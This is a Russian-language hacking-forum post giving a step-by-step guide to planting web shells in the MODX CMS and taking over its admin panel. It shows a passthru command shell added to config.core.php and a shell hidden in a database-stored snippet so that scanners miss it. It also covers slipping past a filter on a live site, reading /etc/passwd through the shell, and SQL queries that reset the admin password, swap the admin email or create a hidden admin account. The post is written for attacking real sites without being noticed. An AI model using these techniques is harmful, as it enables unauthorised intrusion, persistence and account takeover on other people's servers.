Побеждаем MODX - льём шеллы со всех сторон

Forum Library

Professional
Messages
1,168
Reputation
195
Reaction score
479
Points
83
Сегодня я решил поделиться с вами своими личными исследованиями по внедрению шеллов в CMS MODX.

fd7aac317c.jpg


Эта CMS не такая популярная и распространённая как Wordpress или Joomla. Просто она не такая дружелюбная к пользователю, и «любая домохозяйка» не сможет быстро разобраться как делать сайт, так как здесь свой специфичный подход, основанный на применении чанков. сниппетов и плагинов.

Тем не менее на мо́дэкс написано порядка 3-4% сайтов, что в итоге выливается в довольно приличное количество. Сама CMS больше защищена в сравнении с более популярными системами, и под неё практически нет никакой информации по взлому.

Всё что удалось найти в сети - это старое упоминание команды, которая сейчас не работает, так как всё уже изменилось. Попробуйте например набрать «modx залить шелл» или что-то похожее, и убедитесь сами.

Приступим – заходим на официальный сайт MODX CMS, система управления сайтом, бесплатная система управления сайтом и скачиваем дистрибутив. Быстренько делаем базу и разворачиваем у себя на локалке, например, в каталоге modx. В админке нас встретит единственная главная страница с текстом-рыбой, который сразу удаляем, и пишем что-нибудь покороче, например, Bla-bla-bla.

1c6eaf4dff.jpg


Допустим мы попали в админку на реальном сайте. Что в первую очередь проверяют? Как правило загрузку файлов. Здесь это не прокатит, по-умолчанию уже встроена защита от враждебных файлов.

11101198dc.jpg


Теперь попробуем по-другому, сначала загрузим txt, а потом переименуем. И опять поджидает неудача – переименовать файл тоже не даёт.

4f6145788d.jpg


Тем не менее возможность заливки шелла есть. Рассмотрим несколько способов.

1 Способ – самый простой.

Отредактировать уже существующие php-файлы. Возьмём config.core.php во вкладке «Файлы», и добавим в конец простенький шелл. Всё успешно сохранилось.

6d13beb67b.jpg


Проверяем работоспособность, всё работает.

d884c64683.jpg


Точно такую же операцию можно сделать и вторым способом. Зайти медиа --> управление медиа --> редактировать config.core.php вставляем echo passthru($_POST['cmd']); --> сохраняем

b9c1c95ad4.jpg


Всё бы хорошо, но на реальном сайте эти изи-способы часто будут недоступны. Вы редактируете файл, потираете руки и… а где же кнопка сохранить? А нету )))

2 Способ – создание сниппета.

Можно как создать новый сниппет, так и отредактировать уже любой имеющийся. Во вкладке Элементы нажимает значок с плюсиком возле сниппета, появится окно, в котором мы напишем произвольное название сниппета, в теле его разместим шелл и сохраним.

79bc80f988.jpg


После сохранения мы увидим новый сниппет в списке.

a966499188.jpg


Сам по себе сниппет ничего не даёт – это заготовка с любым кодом, которую можно вставлять в любую страницу, что мы сейчас и сделаем. Чтобы вставить сниппет в страницу, используется команда с двойными квадратными скобками, в которые заключается название сниппета [[hello]].

Но для наших целей это не подходящий вариант, так как модэкс всё и вся кэширует, а значит команда сработает всего 1 раз. Чтобы принудительно отключить кэширование, нужно добавить в начало восклицательный знак [[!hello]].

Заходим в ресурсы, вставляем в главную страницу наш код и сохраняем.

208554b93d.jpg


Проверяем, и убеждаемся что всё сработало.

d8dc67e002.jpg


Вот и чудненько! Способ работает всегда, однако есть и минус – новый сниппет будет виден в админке. Правда есть довольно много сайтов, которые весьма редко обновляются, но тут уж как повезёт. Поэтому заполучив шелл, нужно подстраховаться и залить уже другие шеллы на сервер в директории доступные для записи.

Есть и преимущество у данного вида шелла через сниппет – он не существует в виде файла, поэтому на сервере его просто нет. Поэтому никакие сканеры/антивирусы его обнаружить не могут. А куда же он девается? Так в базу же ) Сниппеты хранятся в базе, а значит у нас есть ещё один способ получить шелл.

3 Способ – заливаемся через базу.

Прекрасный способ залить шелл, если нету доступа к админке, но есть доступ к базе. Доступ к базе может быть получен разными путями – захват SSH, PhpMyAdmin, найденный чужой шелл и т.д. К слову говоря, модэкс создаёт хэш паролей по собственному алгоритму, и в онлайн-сервисах значения таких хэшей подобрать не получится.

Этот способ возможен не всегда. Если у юзера базы права будут только на SELECT, то запись будет невозможна.

Здесь совсем не так просто, нужно хорошо знать и конкретный столбец, и с какими параметрами это всё лить. Но у меня уже всё исследовано, поэтому отсыплю вам привата )

Кстати заливка в базу просто прекрасно пройдёт, в то время как даже с правами root базы в большинстве случаев не получится записать файл напрямую на сервер.

Последовательность будет точно такая же – сначала нужно создать сниппет. Отправляем команду:



Обратите внимание – если мы набирает имя сниппета которое уже существует, то получим ошибку, так как сниппет не перезапишется. Ну что же, сниппет успешно создан, теперь его нужно внедрить в страницу. Пишем новую команду и отправляем:



Просто отлично – всё фурычит, создалась новая страничка Шляпа с id 20, соответственно id нужно указывать такой, какого нет на сайте. В противном случае, словите ошибку.

Но ведь создать новую страницу довольно палевно, разумнее добавить сниппет в уже существующую. И этот вопрос довольно просто решается через обновление данных в базе. Обновляем контент.. вуаля! В главной уже наш сниппет [[!hello2]].

760edc121f.jpg


После тренировки на локалке, проворачиваем те же самые манипуляции на боевом сайте, и посмотрим как пойдёт. На реальном сайте отработала защита, и первый запрос получил по рогам ))) Ну не беда, обойдём фильтр, используя обратный слэш.

А вот с таким запросом всё гут!

e8cc350c44.jpg


Соответственно следующим запросом наш сниппет page3 внедряем с нужную страницу. Немного привата я оставлю за кадром – как залить шелл в любую конкретную страницу, а также как массово лить сразу во много страниц. Для пытливых умов, которые без проблем орудуют с запросами MySQL, уже разобраться не составит никакого труда по практически готовой схеме.

Заливаться нужно в ту страницу, в которую много лет может никто не залазить. Ну вы знаете такие страницы, которые не обновляют даже на больших бордах, типа “О нас”, “Кто мы?” и т.п. Проверяю работоспособность, отправляю запрос proxychains4 curl -d "a=cat /etc/passwd" -X POST https://bla-bla-bla

И в теле HTML обнаруживаем нужный ответ с сервера:

8580da907e.jpg


Добавлю ещё пару фишек.
Если у нас есть доступ к БД, то мы можем получить и доступ к админке.

Вариант 1 - заменить пароль админа )

Посмотрим как разузнать всю информацию. Для начала отправим запрос в базу:
Code:
select column_name from information_schema.columns where table_name='modx_users';
e184b5d395.jpg


Здесь мы видим, что "правильные" поля имеют названия username и password. Ещё присутствует поле hash_class. Давайте-ка сюда и заглянем, отправив следующий запрос:

Code:
select CONCAT_WS(0x3a,username,password,hash_class) from modx_users;


Ага, используется свой вариант хэширования по-умолчанию. Нам это не подойдёт, поэтому будем применять MD5. Отправляем следующий запрос в базу, в котором укажем нужный формат хэша и имя админа:

Code:
UPDATE modx_users SET hash_class = 'hashing.modMD5', password = MD5('mainpass') WHERE username = 'admin2';
Заглянем снова в базу, select CONCAT_WS(0x3a,username,password) from modx_users;

e872b123eb.jpg


Видим, что наш пароль mainpass записался в формате MD5, заменив предыдущее значение.

Теперь проверим, всё ли прошло как надо, логинимся.

9bfd5abedd.jpg


Всё чётко! )

cb9595a66c.jpg


Вариант 2 - заменить емайл админа )

По-умолчанию id админа это 1. Заглянем в базу select email from modx_user_attributes WHERE id=1;

0ebd15eea3.jpg


Ну и теперь заменим его на наш ) UPDATE modx_user_attributes SET email='[email protected]' WHERE id=1;



Всё, теперь на странице авторизации нужно выполнить стандартные действия по восстановлению и всё придёт на наш почтовый ящик )

5a376c9586.jpg


Предыдущие 2 варианта захвата админки совсем неэтичные, поэтому нужно пользоваться самым правильным способом.

Вариант 3 - создать нового пользователя )

Здесь всё немного сложнее, но оно того стоит. Новый пользователь не испортит доступ в админку, и к тому же не так палевно, как если бы админ не смог попасть в админпанель.

Сначала мы отправим запрос на добавления пользователя dodik7, при этом пароль нужно писать сразу в хэшированном виде, здесь он 12345.

8e447260d6.jpg


Но на этом наши действия не заканчиваются, аккаунт создан, но он ещё нерабочий. Далее нужно выяснить последний номер internalKey.
Отправим запрос select internalKey from modx_user_attributes;

b07d87a5b3.jpg


Мы видим, что последний номер 14, соответственно нам нужно установить в запросе номер 15. Отправим следующий запрос

be2253855d.jpg


Теперь нужно сразу же проверить, появился ли наш номер 15

db5884189b.jpg


Всё отлично, теперь можно смело заходить в админку с логином dodik7 и паролем 12345 )

Hacked!

Ну что же друзья, вот вы и получили единственное в сети руководство по внедрению шеллов в MODX.

На этом всё, всем пока!
 
Top